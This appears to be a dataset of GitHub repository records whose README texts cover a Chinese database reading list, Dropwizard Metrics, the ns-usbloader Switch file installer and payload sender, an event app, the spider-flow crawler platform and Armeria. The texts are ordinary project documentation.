Facebook](http://borthakur.com/ftp/RealtimeHadoopSigmod2011.pdf) - [Storage Infrastructure Behind Facebook Messages: Using HBase at Scale](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.294.8459&rep=rep1&type=pdf) - [GitHub: Awesome HBase](https://github.com/rayokota/awesome-hbase) 针对于 HBase 有两本书你可以考虑一下。 - 首先,先推荐两本书,一本是偏实践的《[HBase 实战](https://book.douban.com/subject/25706541/)》,另一本是偏大而全的手册型的《[HBase 权威指南](https://book.douban.com/subject/10748460/)》。 - 当然,你也可以看看官方的 [The Apache HBase™ Reference Guide](http://hbase.apache.org/0.94/book/book.html) - 另外两个列数据库: - [ClickHouse - Open Source Distributed Column Database at Yandex](https://clickhouse.yandex/) - [Scaling Redshift without Scaling Costs at GIPHY](https://engineering.giphy.com/scaling-redshift-without-scaling-costs/) ### KV 数据库资料 #### Redis 资料 - **官网** - [Redis 官网](https://redis.io/) - [Redis github](https://github.com/antirez/redis) - [Redis 官方文档中文版](http://redis.cn/) - [Redis 命令参考](http://redisdoc.com/) - **书籍** - [《Redis 实战》](https://item.jd.com/11791607.html) - [《Redis 设计与实现》](https://item.jd.com/11486101.html) - **源码** - [《Redis 实战》配套 Python 源码](https://github.com/josiahcarlson/redis-in-action) - **资源汇总** - [awesome-redis](https://github.com/JamzyWang/awesome-redis) - **Redis Client** - [spring-data-redis 官方文档](https://docs.spring.io/spring-data/redis/docs/1.8.13.RELEASE/reference/html/) - [redisson 官方文档(中文,略有滞后)](https://github.com/redisson/redisson/wiki/%E7%9B%AE%E5%BD%95) - [redisson 官方文档(英文)](https://github.com/redisson/redisson/wiki/Table-of-Content) - [CRUG | Redisson PRO vs. Jedis: Which Is Faster? 翻译](https://www.jianshu.com/p/82f0d5abb002) - [redis 分布锁 Redisson 性能测试](https://blog.csdn.net/everlasting_188/article/details/51073505) - **文章** - [Learn Redis the hard way (in production) at Trivago](http://tech.trivago.com/2017/01/25/learn-redis-the-hard-way-in-production/) - [Twitter: How Twitter Uses Redis To Scale - 105TB RAM, 39MM QPS, 10,000+ Instances](http://highscalability.com/blog/2014/9/8/how-twitter-uses-redis-to-scale-105tb-ram-39mm-qps-10000-ins.html) - [Slack: Scaling Slack’s Job Queue - Robustly Handling Billions of Tasks in Milliseconds Using Kafka and Redis](https://slack.engineering/scaling-slacks-job-queue-687222e9d100) - [GitHub: Moving persistent data out of Redis at GitHub](https://githubengineering.com/moving-persistent-data-out-of-redis/) - [Instagram: Storing Hundreds of Millions of Simple Key-Value Pairs in Redis](https://engineering.instagram.com/storing-hundreds-of-millions-of-simple-key-value-pairs-in-redis-1091ae80f74c) - [Redis in Chat Architecture of Twitch (from 27:22)](https://www.infoq.com/presentations/twitch-pokemon) - [Deliveroo: Optimizing Session Key Storage in Redis](https://deliveroo.engineering/2016/10/07/optimising-session-key-storage.html) - [Deliveroo: Optimizing Redis Storage](https://deliveroo.engineering/2017/01/19/optimising-membership-queries.html) - [GitHub: Awesome Redis](https://github.com/JamzyWang/awesome-redis) ### 文档数据库资料 - [Couchbase Ecosystem at LinkedIn](https://engineering.linkedin.com/blog/2017/12/couchbase-ecosystem-at-linkedin) - [SimpleDB at Zendesk](https://medium.com/zendesk-engineering/resurrecting-amazon-simpledb-9404034ec506) - [Data Points - What the Heck Are Document Databases?](https://msdn.microsoft.com/en-us/magazine/hh547103.aspx) #### MongoDB 资料 - **官方** - [MongoDB 官网](https://www.mongodb.com/) - [MongoDB Github](https://github.com/mongodb/mongo) - [MongoDB 官方免费教程](https://university.mongodb.com/) - **教程** - [MongoDB 教程](https://www.runoob.com/mongodb/mongodb-tutorial.html) - [MongoDB 高手课](https://time.geekbang.org/course/intro/100040001) - **数据** - [mongodb-json-files](https://github.com/ozlerhakan/mongodb-json-files) - **文章** - [Introduction to MongoDB](https://www.slideshare.net/mdirolf/introduction-to-mongodb) - [eBay: Building Mission-Critical Multi-Data Center Applications with MongoDB](https://www.mongodb.com/blog/post/ebay-building-mission-critical-multi-data-center-applications-with-mongodb) - [The AWS and MongoDB Infrastructure of Parse: Lessons Learned](https://medium.baqend.com/parse-is-gone-a-few-secrets-about-their-infrastructure-91b3ab2fcf71) - [Migrating Mountains of Mongo Data](https://medium.com/build-addepar/migrating-mountains-of-mongo-data-63e530539952) - **更多资源** - [Github: Awesome MongoDB](https://github.com/ramnes/awesome-mongodb) ### 搜索引擎数据库资料 #### ElasticSearch - **官方** - [Elasticsearch 官网](https://www.elastic.co/cn/products/elasticsearch) - [Elasticsearch Github](https://github.com/elastic/elasticsearch) - [Elasticsearch 官方文档](https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html) - [Elasticsearch: The Definitive Guide](https://www.elastic.co/guide/en/elasticsearch/guide/master/index.html) - ElasticSearch 官方学习资料 - **书籍** - [《Elasticsearch 实战》](https://book.douban.com/subject/30380439/) - **教程** - [ELK Stack 权威指南](https://github.com/chenryn/logstash-best-practice-cn) - [Elasticsearch 教程](https://www.knowledgedict.com/tutorial/elasticsearch-intro.html) - **文章** - [Elasticsearch+Logstash+Kibana 教程](https://www.cnblogs.com/xing901022/p/4704319.html) - [ELK(Elasticsearch、Logstash、Kibana)安装和配置](https://github.com/judasn/Linux-Tutorial/blob/master/ELK-Install-And-Settings.md) - **性能调优相关**的工程实践 - [Elasticsearch Performance Tuning Practice at eBay](https://www.ebayinc.com/stories/blogs/tech/elasticsearch-performance-tuning-practice-at-ebay/) - [Elasticsearch at Kickstarter](https://kickstarter.engineering/elasticsearch-at-kickstarter-db3c487887fc) - [9 tips on ElasticSearch configuration for high performance](https://www.loggly.com/blog/nine-tips-configuring-elasticsearch-for-high-performance/) - [Elasticsearch In Production - Deployment Best Practices](https://medium.com/@abhidrona/elasticsearch-deployment-best-practices-d6c1323b25d7) - **更多资源** - [GitHub: Awesome ElasticSearch](https://github.com/dzharii/awesome-elasticsearch) ### 图数据库 - 首先是 IBM Devloperworks 上的两个简介性的 PPT。 - [Intro to graph databases, Part 1, Graph databases and the CRUD operations](https://www.ibm.com/developerworks/library/cl-graph-database-1/cl-graph-database-1-pdf.pdf) - [Intro to graph databases, Part 2, Building a recommendation engine with a graph database](https://www.ibm.com/developerworks/library/cl-graph-database-2/cl-graph-database-2-pdf.pdf) - 然后是一本免费的电子书《[Graph Database](http://graphdatabases.com)》。 - 接下来是一些图数据库的介绍文章。 - [Handling Billions of Edges in a Graph Database](https://www.infoq.com/presentations/graph-database-scalability) - [Neo4j case studies with Walmart, eBay, AirBnB, NASA, etc](https://neo4j.com/customers/) - [FlockDB: Distributed Graph Database for Storing Adjacency Lists at Twitter](https://blog.twitter.com/engineering/en_us/a/2010/introducing-flockdb.html) - [JanusGraph: Scalable Graph Database backed by Google, IBM and Hortonworks](https://architecht.io/google-ibm-back-new-open-source-graph-database-project-janusgraph-1d74fb78db6b) - [Amazon Neptune](https://aws.amazon.com/neptune/) ### 时序数据库 - [What is Time-Series Data & Why We Need a Time-Series Database](https://blog.timescale.com/what-the-heck-is-time-series-data-and-why-do-i-need-a-time-series-database-dcf3b1b18563) - [Time Series Data: Why and How to Use a Relational Database instead of NoSQL](https://blog.timescale.com/time-series-data-why-and-how-to-use-a-relational-database-instead-of-nosql-d0cd6975e87c) - [Beringei: High-performance Time Series Storage Engine @Facebook](https://code.facebook.com/posts/952820474848503/beringei-a-high-performance-time-series-storage-engine/) - [Introducing Atlas: Netflix’s Primary Telemetry Platform @Netflix](https://medium.com/netflix-techblog/introducing-atlas-netflixs-primary-telemetry-platform-bd31f4d8ed9a) - [Building a Scalable Time Series Database on PostgreSQL](https://blog.timescale.com/when-boring-is-awesome-building-a-scalable-time-series-database-on-postgresql-2900ea453ee2) - [Scaling Time Series Data Storage - Part I @Netflix](https://medium.com/netflix-techblog/scaling-time-series-data-storage-part-i-ec2b6d44ba39) - [Design of a Cost Efficient Time Series Store for Big Data](https://medium.com/@leventov/design-of-a-cost-efficient-time-series-store-for-big-data-88c5dc41af8e) - [GitHub: Awesome Time-Series Database](https://github.com/xephonhq/awesome-time-series-database) ## 传送 🚪 ◾ 💧 [钝悟的 IT 知识图谱](https://dunwu.github.io/waterdrop/) ◾ 🎯 [钝悟的博客](https://dunwu.github.io/blog/) ◾
1
dropwizard/metrics
:chart_with_upwards_trend: Capturing JVM- and application-level metrics. So you know what's going on.
2010-02-26T19:44:42Z
null
Metrics ======= [![Java CI](https://github.com/dropwizard/metrics/workflows/Java%20CI/badge.svg)](https://github.com/dropwizard/metrics/actions?query=workflow%3A%22Java+CI%22+branch%3Arelease%2F4.2.x) [![Maven Central](https://img.shields.io/maven-central/v/io.dropwizard.metrics/metrics-core/4.2)](https://maven-badges.herokuapp.com/maven-central/io.dropwizard.metrics/metrics-core/) [![Javadoc](http://javadoc-badge.appspot.com/io.dropwizard.metrics/metrics-core.svg)](http://www.javadoc.io/doc/io.dropwizard.metrics/metrics-core) [![Contribute with Gitpod](https://img.shields.io/badge/Contribute%20with-Gitpod-908a85?logo=gitpod)](https://gitpod.io/#https://github.com/dropwizard/metrics/tree/release/4.2.x) *📈 Capturing JVM- and application-level metrics. So you know what's going on.* For more information, please see [the documentation](https://metrics.dropwizard.io/) ### Versions | Version | Source Branch | Documentation | Status | | ------- | -------------------------------------------------------------------------------- | --------------------------------------------- | ----------------- | | <2.2.x | - | - | 🔴 unmaintained | | 2.2.x | - | [Docs](https://metrics.dropwizard.io/2.2.0/) | 🔴 unmaintained | | 3.0.x | [release/3.0.x branch](https://github.com/dropwizard/metrics/tree/release/3.0.x) | [Docs](https://metrics.dropwizard.io/3.0.2/) | 🔴 unmaintained | | 3.1.x | [release/3.1.x branch](https://github.com/dropwizard/metrics/tree/release/3.1.x) | [Docs](https://metrics.dropwizard.io/3.1.0/) | 🔴 unmaintained | | 3.2.x | [release/3.2.x branch](https://github.com/dropwizard/metrics/tree/release/3.2.x) | [Docs](https://metrics.dropwizard.io/3.2.3/) | 🔴 unmaintained | | 4.0.x | [release/4.0.x branch](https://github.com/dropwizard/metrics/tree/release/4.0.x) | [Docs](https://metrics.dropwizard.io/4.0.6/) | 🔴 unmaintained | | 4.1.x | [release/4.1.x branch](https://github.com/dropwizard/metrics/tree/release/4.1.x) | [Docs](https://metrics.dropwizard.io/4.1.22/) | 🔴 unmaintained | | 4.2.x | [release/4.2.x branch](https://github.com/dropwizard/metrics/tree/release/4.2.x) | [Docs](https://metrics.dropwizard.io/4.2.0/) | 🟢 maintained | | 5.0.x | [release/5.0.x branch](https://github.com/dropwizard/metrics/tree/release/5.0.x) | - | 🟡 on pause | ### Future development New not-backward compatible features (for example, support for tags) will be implemented in a 5.x.x release. The release will have new Maven coordinates, a new package name and a backwards-incompatible API. Source code for 5.x.x resides in the [release/5.0.x branch](https://github.com/dropwizard/metrics/tree/release/5.0.x). License ------- Copyright (c) 2010-2013 Coda Hale, Yammer.com, 2014-2021 Dropwizard Team Published under Apache Software License 2.0, see LICENSE
0
developersu/ns-usbloader
Awoo Installer and GoldLeaf uploader of the NSPs (and other files), RCM payload injector, application for split/merge files.
2019-02-10T01:57:09Z
null
<h1 align="center"><img src="screenshots/ApplicationLogo.svg" alt="NS-USBloader" width="450px"/></h1> ![License](https://img.shields.io/badge/License-GPLv3-blue.svg) ![Releases](https://img.shields.io/github/downloads/developersu/ns-usbloader/total.svg) ![LatestVer](https://img.shields.io/github/release/developersu/ns-usbloader.svg) [![Build Status](https://ci.redrise.ru/api/badges/desu/ns-usbloader/status.svg)](https://ci.redrise.ru/desu/ns-usbloader) NS-USBloader is: * A PC-side installer for **[Huntereb/Awoo-Installer](https://github.com/Huntereb/Awoo-Installer)** / other compatible installers (USB and Network supported) and **[XorTroll/Goldleaf](https://github.com/XorTroll/Goldleaf)** (USB) NSP installer. Alternative to default **usb_install_pc.py**, **remote_install_pc.py**, **GoldTree**/**Quark**. * RCM payload tool that works on Windows, macOS (Intel and Apple Silicon) and Linux (x86, amd64 and Raspberry Pi ARM). * It's a tool for creating split files! * Also you can use it for merging split-files into one :) [Click here for Android version ;)](https://github.com/developersu/ns-usbloader-mobile) With GUI and cookies. Works on Windows, macOS and Linux. ### Let's stay in touch: #### [→ Independent source code storage](https://git.redrise.ru/desu/ns-usbloader) #### [→ Mirror, issues tracker, place to send PRs](https://github.com/developersu/ns-usbloader) #### [→ Nightly builds](https://redrise.ru/builds/ns-usbloader/) [Support/Donate](#support-this-app) Sometimes I add new posts about this project [on my blog page](https://developersu.blogspot.com/search/label/NS-USBloader). <img src="screenshots/1.png" alt="screenshot" width="250"/> <img src="screenshots/2.png" alt="screenshot" width="250"/> <img src="screenshots/3.png" alt="screenshot" width="250"/> <img src="screenshots/4.png" alt="screenshot" width="250"/> <img src="screenshots/5.png" alt="screenshot" width="250"/> #### License [GNU General Public License version 3](https://github.com/developersu/ns-usbloader/blob/master/LICENSE), or (at your option) any later version. #### Used libraries & resources * [OpenJFX](https://wiki.openjdk.java.net/display/OpenJFX/Main) * [usb4java](https://mvnrepository.com/artifact/org.usb4java/usb4java) * Few icons taken from: [materialdesignicons.com](http://materialdesignicons.com/) * Information, ideas and data from ['fusee-launcher'](https://github.com/reswitched/fusee-launcher) application * [Apache Commons CLI](https://commons.apache.org/proper/commons-cli/) ### List of awesome code contributors, translators and other great people! * [Pablo Curiel (DarkMatterCore)](https://github.com/DarkMatterCore) * [wolfposd](https://github.com/wolfposd) * [agungrbudiman](https://github.com/agungrbudiman) * Perfect algorithms and great examples taken from mrdude project [mrdude2478/IPS_Patch_Creator](https://github.com/mrdude2478/IPS_Patch_Creator/) * French by [Stephane Meden (JackFromNice)](https://github.com/JackFromNice) * Italian by [unbranched](https://github.com/unbranched) * Korean by [DDinghoya](https://github.com/DDinghoya) * Portuguese by [almircanella](https://github.com/almircanella) * Spanish by [/u/cokimaya007](https://www.reddit.com/u/cokimaya007), [Kuziel Alejandro](https://github.com/Uzi-Oni) * Chinese (Simplified) by [Huang YunKun (htynkn)](https://github.com/htynkn), [FFT9 (XXgame Group)](http://xxgame.net/) * Chinese (Traditional) by [qazrfv1234](https://github.com/qazrfv1234), [FFT9 (XXgame Group)](http://xxgame.net/) * German by [Swarsele](https://github.com/Swarsele) * Vietnamese by [Hai Phan Nguyen (pnghai)](https://github.com/pnghai) * Czech by [Spenaat](https://github.com/spenaat) * Arabic by [eslamabdel](https://github.com/eslamabdel) * Romanian by [Călin Ilie](https://github.com/calini) * Swedish by [Daniel Nylander](https://github.com/yeager) * Japanese by [kuragehime](https://github.com/kuragehimekurara1) * Ryukyuan languages by [kuragehime](https://github.com/kuragehimekurara1) * Angelo Elias Dalzotto makes packages in AUR * Phoenix[Msc] provides his shiny Mac M1 for debug ### System requirements - JDK 11 for macOS and Linux - libusb, if you have a Mac with Apple Silicon (install via `brew install libusb`) ### Supported Goldleaf versions | Goldleaf version | NS-USBloader version | |------------------|----------------------| | v0.5 | v0.4 - v0.5.2, v0.8+ | | v0.6 | none | | v0.6.1 | v0.6 | | v0.7 - 0.7.3 | v0.7+ | | v0.8 - 0.9 | v1.0+ | | v0.10 | v6.0+ | where '+' means 'any next NS-USBloader version'. ### Awoo Installer and compatible applications support Awoo Installer uses the same command-set (or 'protocol') to [Adubbz/Tinfoil](https://github.com/Adubbz/Tinfoil/). A lot of other forks/apps uses the same command-set. To stop speculating about the name it's now called 'Awoo'. It WAS called 'TinFoil' before. Not any more. ### Usage ##### Linux: 1. Install JRE/JDK 8u60 or higher (openJDK is good. Oracle's one is also good). JavaFX not needed (it's embedded). 2. `root # java -jar /path/to/NS-USBloader.jar` 3. Optional: add user to 'udev' rules to use NS not-from-root-account ``` root # vim /etc/udev/rules.d/99-NS.rules SUBSYSTEM=="usb", ATTRS{idVendor}=="057e", ATTRS{idProduct}=="3000", MODE="0666" root # udevadm control --reload-rules && udevadm trigger ``` 4. For RCM part ``` root # vim /etc/udev/rules.d/99-NS-RCM.rules SUBSYSTEM=="usb", ATTRS{idVendor}=="0955", ATTRS{idProduct}=="7321", MODE="0666" root # udevadm control --reload-rules && udevadm trigger ``` 5. For HiDPI use scaling like `java -Dglass.gtk.uiScale=150% -jar application.jar` ##### Raspberry Pi 1. Install JDK: `sudo apt install default-jdk` 2. For UI install JavaFX: `sudo apt install openjfx` 3. See steps 3 and 4 from 'Linux' section to update 'udev'. ##### macOS Double-click on downloaded .jar file. Follow instructions. Or see 'Linux' section. Set 'Security & Privacy' settings if needed. *Please note: JDK 19 is recommended for using on macOS. There are issues already reported from users on Mac with JDK 14.* ##### macOS on Apple Silicon (ARM) Download application with `-m1.jar` postfix. Manually install libusb with Homebrew by running `brew install libusb` in your Terminal. ##### Windows: * Once application opens click on 'Gear' icon. * Click 'Download and install drivers' * Install drivers #### And how to use it? The first thing you should do it install Awoo ([Huntereb](https://github.com/Huntereb/Awoo-Installer)) or Goldleaf ([XorTroll](https://github.com/XorTroll/Goldleaf)) on your NS. Take a look on app, find where is the option to install from USB and/or Network. Maybe (very old) [this article (about TinFoil)](https://developersu.blogspot.com/2019/02/ns-usbloader-en.html) will be helpful. #### In details There are three tabs. First one is main. ##### 'Gamepad' tab. At the top of you selecting from drop-down application and protocol that you're going to use. For Goldleaf only USB is available. Lamp icon stands for switching themes (light or dark). Then you may drag-n-drop files (split-files aka folders) to application or use 'Select NSP files' button. Multiple selection for files available. Click it again and select files from another folder it you want, it will be added into the table. Table. There you can select checkbox for files that will be sent to application (AW/GL). ~~Since Goldleaf v0.5 allow you only one file transmission per time, only one file is available for selection.~~ Also, you can use space to select/un-select files and 'delete' button for deleting. By right-mouse-click you can see context menu where you can delete one OR all items from the table. For Goldleaf v0.6.1 and NS-USBloader v0.6 (and higher) you will have to use 'Explore content' -> 'Remote PC (via USB)' You will see two drives HOME:/ and VIRT:/. First drive is pointing to your home directory. Second one is reflection of what you've added to table (first application tab). Also VIRT:/ drive have limited functionality in comparison to HOME:/. E.g. you can't write files to this drive since it's not a drive. But don't worry, it won't make any impact on Goldleaf or your NS if you try. Also, for Goldleaf write files (from NS to PC): You have to 'Stop execution' properly before accessing files transferred from GL. Usually you have to wait 5sec or less. It will guarantee that your files properly written to PC. ##### 'RCM' tab On this tab you can select payloader like Hekate or LockPick_RCM and send it to NS. Drag-n-drop supported. Also some in-app validations for payload takes place ;) ##### 'Folder with arrows and zeroes' tab On this tab you can split and merge files. Select 'Split' or 'Merge' and split (or merge). BTW Drag-n-drop supported. ##### 'Gears' tab. Here you can configure settings for network file transmission. Usually you shouldn't change anything. But it you're cool hacker, go ahead! The most interesting option here is 'Don't serve requests'. Architecture of the Awoo's NET part is working interesting way. When you select in Awoo network NSP transfer, application will wait at port 2000 for the information about where should it take files from. Like '192.168.1.5:6060/my file.nsp'. Usually NS-USBloader serves requests by implementing simplified HTTP server and bringing it up and so on. But if this option selected, you can define path to remote location of the files. For example if you set in settings '192.168.4.2:80/ROMS/NS/' and add in table file 'my file.nsp' then NS-USBloader will simply tell Awoo "Hey, go take files from '192.168.4.2:80/ROMS/NS/my%20file.nsp' ". Of course you have to bring '192.168.4.2' host up and make file accessible from such address (just go install nginx). As I said, this feature is interesting, but I guess won't be popular. Also here you can: * Set 'Auto-check for updates' for checking for updates when application starts, or click button to verify if new version released immediately. * Set 'Show only *.nsp in Goldleaf' to filter all files displayed at HOME:/ drive. So only NSP files will appear. ##### 'Dialog with three dots' tab. That's where all logs dropped. Verbose information about transmissions comes here. ##### CLI (command line interface) To get help run ``$ java -jar ns-usbloader-4.0.jar --help`` ``` -c,--clean Remove/reset settings and exit -g,--Goldleaf <...> Install via Goldleaf mode. Check '-g help' for information. -h,--help Show this help -m,--merge <...> Merge files. Check '-m help' for information. -n,--tfn <...> Install via Awoo Network mode. Check '-n help' for information. -r,--rcm <[PATH/]payload.bin> Send payload -s,--split <...> Split files. Check '-s help' for information. -t,--tinfoil <FILE...> Install via Awoo USB mode. -v,--version Show application version ``` For more complex commands help use help argument after the fists key. For example: ``` $ java -jar ns-usbloader-4.0.jar -n help Usage: ns-usbloader -n nsip=<arg1> [hostip=<arg2>] FILE1 ... ns-usbloader --tfn nsip=<arg1> [hostip=<arg2>] FILE1 ... Options: nsip=<ip> Define NS IP address (mandatory) hostip=<ip[:port]> Define this host IP address. Will be obtained automatically if not set. ``` Usage examples: ``` Send RCM payload: $ java -jar ns-usbloader-4.0.jar -r C:\Users\Superhero\hekate.bin Send files to Awoo Installer via Net-install: $ java -jar ns-usbloader-4.0.jar -n nsip=192.168.0.1 ./file.nsz ./file.nsp ~/*.xci Send files to Goldleaf v0.8: $ java -jar ns-usbloader-4.0.jar -g ver=v0.8 ./* Split files: $ java -jar ns-usbloader-4.0.jar -s /tmp/ ~/*.nsp Merge files: $ java -jar ns-usbloader-4.0.jar -m /tmp/ ~/*.nsp ``` ### Other notes 'Status' = 'Uploaded' that appears in the table does not mean that file has been installed. It means that it has been sent to NS without any issues! That's what this app about. Handling successful/failed installation is a purpose of the other side application: Awoo/Awoo-like or Goldleaf. And they don't provide any feedback interfaces so I can't detect success/failure. #### What is this '-legacy' jar?! **JAR with NO postfixes** recommended for Windows users, Linux users and macOS users who're using Mojave or later versions. **JAR with '-legacy' postfix** is for macOS users who're still using OS X releases before (!) Mojave. (It also works for Linux and for Windows, but sometimes it doesn't work for Windows and I don't know why). We have this situation because of weird behaviour inside usb4java library used in this application for USB interactions. In '-legacy' it's v1.2.0 and in 'normal' it's v1.3.0 ### Translators! If you want to see this app translated to your language, go grab [this file](https://github.com/developersu/ns-usbloader/blob/master/src/main/resources/locale.properties) and translate it. Upload somewhere (create PR, use pastebin/google drive/whatever else). [Create new issue](https://github.com/developersu/ns-usbloader/issues) and post a link. I'll grab it and add. To convert files of any locale to readable format (and vise-versa) you can use this site [https://itpro.cz/juniconv/](https://itpro.cz/juniconv/) ## Support this app If you like this app, just give a star (@ GitHub). This is non-commercial project. Nevertheless, I'll be more than happy if you find a chance to make a donation for charity to people I trust: * BTC → 1BnErE3n6LEdEjvvFrt4FMdXd1UGa5L7Ge * ETH → 0x9c29418129553bE171181bb6245151aa0576A3b7 * DOT → 15BWSwmA4xEHZdq3gGftWg7dctMQk9vXwqA92Pg22gsxDweF * LTC → ltc1qfjvzxm04tax077ra9rvmxdnsum8alws2n20fag * ETC → 0xe9064De288C8454942533a005AB72515e689226E * USDT (TRC20) → TKgp5SvJGiqYNFtvJfEDGLFbezFEHq1tBy * USDT (ERC20) → 0x9c29418129553bE171181bb6245151aa0576A3b7 * XRP → rGmGaLsKmSUbxWfyi4mujtVamTzj3Nqxbw. Thanks! Appreciate assistance and support of both [Vitaliy](https://github.com/SebastianUA) and [Konstantin](https://github.com/konstantin-kelemen). Without you all this magic would not have happened.
0
OpnTec/ots15-companion
Opentech Event app
2015-05-05T13:32:22Z
null
# OpenTech summit 2015 app based on FOSSASIA companion-android Advanced native Android schedule browser application for the [FOSSASIA](http://fossasia.org/) conference in Singapore. This is build upon the [FOSDEM Companion For android](https://github.com/cbeyls/fosdem-companion-android). It uses loaders and fragments extensively and is backward compatible up to Android 2.1 thanks to the support library. To get more information and install the app, look at the [Google Play Store](https://play.google.com/store/apps/details?id=be.digitalia.fosdem) page. ## How to build All dependencies are defined in ```app/build.gradle```. Import the project in Android Studio or use Gradle in command line: ``` ./gradlew assembleRelease ``` The result apk file will be placed in ```app/build/outputs/apk/```. ####Build status [![Build Status](https://travis-ci.org/fossasia/ots15-companion.svg?branch=master)](https://travis-ci.org/fossasia/ots15-companion) ## Pending Task * Download schedule in a background thread * Notification for Bookmarked Events/Talks * Integrate Google+ login or any other mechanism to fetch user email address [TBD](https://github.com/fossasia/fossasia-companion-android/issues/68) * Integrate Google Maps ## License [Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0) ## Used libraries * [Android Support Library](http://developer.android.com/tools/support-library/) by The Android Open Source Project * [ViewPagerIndicator](http://viewpagerindicator.com/) by Jake Wharton * [PhotoView](https://github.com/chrisbanes/PhotoView) by Chris Banes * [Volley Library](https://android.googlesource.com/platform/frameworks/volley) * [Snackbar Library](https://github.com/nispok/snackbar) by nispok ## Contributors * Christophe Beyls * Abhishek Batra * Manan Wason * Pratik Todi * Mario Behling * Tymon Radzik * Arnav Gupta
0
ssssssss-team/spider-flow
新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。
2020-03-27T11:07:15Z
null
<p align="center"> <img src="https://www.spiderflow.org/images/logo.svg" width="600"> </p> <p align="center"> <a target="_blank" href="https://www.oracle.com/technetwork/java/javase/downloads/index.html"><img src="https://img.shields.io/badge/JDK-1.8+-green.svg" /></a> <a target="_blank" href="https://www.spiderflow.org"><img src="https://img.shields.io/badge/Docs-latest-blue.svg"/></a> <a target="_blank" href="https://github.com/ssssssss-team/spider-flow/releases"><img src="https://img.shields.io/github/v/release/ssssssss-team/spider-flow?logo=github"></a> <a target="_blank" href='https://gitee.com/ssssssss-team/spider-flow'><img src="https://gitee.com/ssssssss-team/spider-flow/badge/star.svg?theme=white" /></a> <a target="_blank" href='https://github.com/ssssssss-team/spider-flow'><img src="https://img.shields.io/github/stars/ssssssss-team/spider-flow.svg?style=social"/></a> <a target="_blank" href="LICENSE"><img src="https://img.shields.io/:license-MIT-blue.svg"></a> <a target="_blank" href="https://shang.qq.com/wpa/qunwpa?idkey=10faa4cf9743e0aa379a72f2ad12a9e576c81462742143c8f3391b52e8c3ed8d"><img src="https://img.shields.io/badge/Join-QQGroup-blue"></a> </p> [介绍](#介绍) | [特性](#特性) | [插件](#插件) | <a target="_blank" href="http://demo.spiderflow.org">DEMO站点</a> | <a target="_blank" href="https://www.spiderflow.org">文档</a> | <a target="_blank" href="https://www.spiderflow.org/changelog.html">更新日志</a> | [截图](#项目部分截图) | [其它开源](#其它开源项目) | [免责声明](#免责声明) ## 介绍 平台以流程图的方式定义爬虫,是一个高度灵活可配置的爬虫平台 ## 特性 - [x] 支持Xpath/JsonPath/css选择器/正则提取/混搭提取 - [x] 支持JSON/XML/二进制格式 - [x] 支持多数据源、SQL select/selectInt/selectOne/insert/update/delete - [x] 支持爬取JS动态渲染(或ajax)的页面 - [x] 支持代理 - [x] 支持自动保存至数据库/文件 - [x] 常用字符串、日期、文件、加解密等函数 - [x] 支持插件扩展(自定义执行器,自定义方法) - [x] 任务监控,任务日志 - [x] 支持HTTP接口 - [x] 支持Cookie自动管理 - [x] 支持自定义函数 ## 插件 - [x] [Selenium插件](https://gitee.com/ssssssss-team/spider-flow-selenium) - [x] [Redis插件](https://gitee.com/ssssssss-team/spider-flow-redis) - [x] [OSS插件](https://gitee.com/ssssssss-team/spider-flow-oss) - [x] [Mongodb插件](https://gitee.com/ssssssss-team/spider-flow-mongodb) - [x] [IP代理池插件](https://gitee.com/ssssssss-team/spider-flow-proxypool) - [x] [OCR识别插件](https://gitee.com/ssssssss-team/spider-flow-ocr) - [x] [电子邮箱插件](https://gitee.com/ssssssss-team/spider-flow-mailbox) ## 项目部分截图 ### 爬虫列表 ![爬虫列表](https://images.gitee.com/uploads/images/2020/0412/104521_e1eb3fbb_297689.png "list.png") ### 爬虫测试 ![爬虫测试](https://images.gitee.com/uploads/images/2020/0412/104659_b06dfbf0_297689.gif "test.gif") ### Debug ![Debug](https://images.gitee.com/uploads/images/2020/0412/104741_f9e1190e_297689.png "debug.png") ### 日志 ![日志](https://images.gitee.com/uploads/images/2020/0412/104800_a757f569_297689.png "logo.png") ## 其它开源项目 - [spider-flow-vue,spider-flow的前端](https://gitee.com/ssssssss-team/spider-flow-vue) - [magic-api,一个以XML为基础自动映射为HTTP接口的框架](https://gitee.com/ssssssss-team/magic-api) - [magic-api-spring-boot-starter](https://gitee.com/ssssssss-team/magic-api-spring-boot-starter) ## 免责声明 请勿将`spider-flow`应用到任何可能会违反法律规定和道德约束的工作中,请友善使用`spider-flow`,遵守蜘蛛协议,不要将`spider-flow`用于任何非法用途。如您选择使用`spider-flow`即代表您遵守此协议,作者不承担任何由于您违反此协议带来任何的法律风险和损失,一切后果由您承担。
0
line/armeria
Your go-to microservice framework for any situation, from the creator of Netty et al. You can build any type of microservice leveraging your favorite technologies, including gRPC, Thrift, Kotlin, Retrofit, Reactive Streams, Spring Boot and Dropwizard.
2015-11-16T04:04:01Z
null
Visit [the official web site](https://armeria.dev/) for more information. # Armeria <a href="https://github.com/line/armeria"><img src="https://img.shields.io/github/stars/line/armeria.svg?style=social" /></a> <a href="https://twitter.com/armeria_project"><img src="https://img.shields.io/twitter/follow/armeria_project.svg?label=Follow" /></a> <a href="https://armeria.dev/s/discord"><img src="https://img.shields.io/badge/chat-on%20Discord-brightgreen.svg?style=social&amp;logo=discord" /></a> <a href="https://github.com/line/armeria/contributors"><img src="https://img.shields.io/github/contributors/line/armeria.svg" /></a> <a href="https://github.com/line/armeria/pulse"><img src="https://img.shields.io/github/commit-activity/m/line/armeria.svg?label=commits" /></a> <a href="https://search.maven.org/search?q=g:com.linecorp.armeria%20AND%20a:armeria"><img src="https://img.shields.io/maven-central/v/com.linecorp.armeria/armeria.svg?label=version" /></a> <a href="https://github.com/line/armeria/commits"><img src="https://img.shields.io/github/release-date/line/armeria.svg?label=release" /></a> [![Revved up by Develocity](https://img.shields.io/badge/Revved%20up%20by-Develocity-06A0CE?logo=Gradle&labelColor=02303A)](https://ge.armeria.dev/scans) > Build a reactive microservice **at your pace**, not theirs. _Armeria_ is your go-to microservice framework for any situation. You can build any type of microservice leveraging your favorite technologies, including [gRPC](https://grpc.io/), [Thrift](https://thrift.apache.org/), [Kotlin](https://kotlinlang.org/), [Retrofit](https://square.github.io/retrofit/), [Reactive Streams](https://www.reactive-streams.org/), [Spring Boot](https://spring.io/projects/spring-boot) and [Dropwizard](https://www.dropwizard.io/). It is open-sourced by the creator of [Netty](https://netty.io/) and his colleagues at 